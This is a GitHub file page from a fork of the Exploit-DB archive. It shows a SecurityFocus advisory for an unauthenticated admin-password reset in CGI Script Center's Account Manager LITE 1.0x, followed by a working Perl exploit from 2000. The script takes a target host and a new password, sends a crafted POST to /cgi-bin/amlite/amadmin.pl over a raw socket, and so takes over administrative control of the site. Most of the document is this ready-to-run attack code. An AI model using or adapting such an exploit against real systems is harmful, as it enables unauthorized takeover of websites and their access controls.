forked from offensive-security/exploitdb
-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy path20164.pl
More file actions
executable file
·65 lines (47 loc) · 2.05 KB
/
Copy path20164.pl
File metadata and controls
executable file
·65 lines (47 loc) · 2.05 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
source: http://www.securityfocus.com/bid/1604/info
Regardless of privilege level, any remote user can modify the administrative password for CGI Script Centers' Account Manager. In order to accomplish this, a user would access the following URL with a POST command:
http://target/cgibin/amadmin.pl?setpasswd
This would grant the user full administrative privileges which includes the capability of granting and revoking user access to secured areas of the target website.
#!/usr/bin/perl -w
## Account Manager LITE 1.0x / cgi.elitehost.com
## This exploit let's you change the administrator
## password, and completely take controll.
##
## teleh0r@doglover.com / anno 2000
## httpd://teleh0r.cjb.net
use strict;
use Socket;
if (@ARGV < 2) {
print("Usage: $0 <target> <newpass>\n");
exit(1);
}
my($target,$newpass,$crypt,$length,$command,
$agent,$sploit,$iaddr,$paddr,$proto);
($target,$newpass) = @ARGV;
$crypt = crypt($newpass, 'aa');
$length = 34 + length($newpass);
print("\nRemote host: $target\n");
print("CGI-script: /cgi-bin/subscribe.pl\n");
print("New password: $newpass / $crypt\n\n");
$command = "pwd=$newpass&pwd2=$newpass&setpwd=++Set+Password++";
$agent = "Mozilla/4.0 (compatible; MSIE 5.01; Windows 95)";
# Note that POST /cgi-bin/amlite/amadmin.pl HTTP/1.0
# may have to be changed...
$sploit=
"POST /cgi-bin/amlite/amadmin.pl HTTP/1.0
Connection: close
User-Agent: $agent
Host: $target
Content-type: application/x-www-form-urlencoded
Content-length: $length
$command";
$iaddr = inet_aton($target) || die("Error: $!\n");
$paddr = sockaddr_in(80, $iaddr) || die("Error: $!\n");
$proto = getprotobyname('tcp') || die("Error: $!\n");
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
connect(SOCKET, $paddr) || die("Error: $!\n");
send(SOCKET,"$sploit\015\012", 0) || die("Error: $!\n");
close(SOCKET);
sleep(2);
print("Surf to http://$target/cgi-bin/amlite/amadmin.pl\n");
exit(0);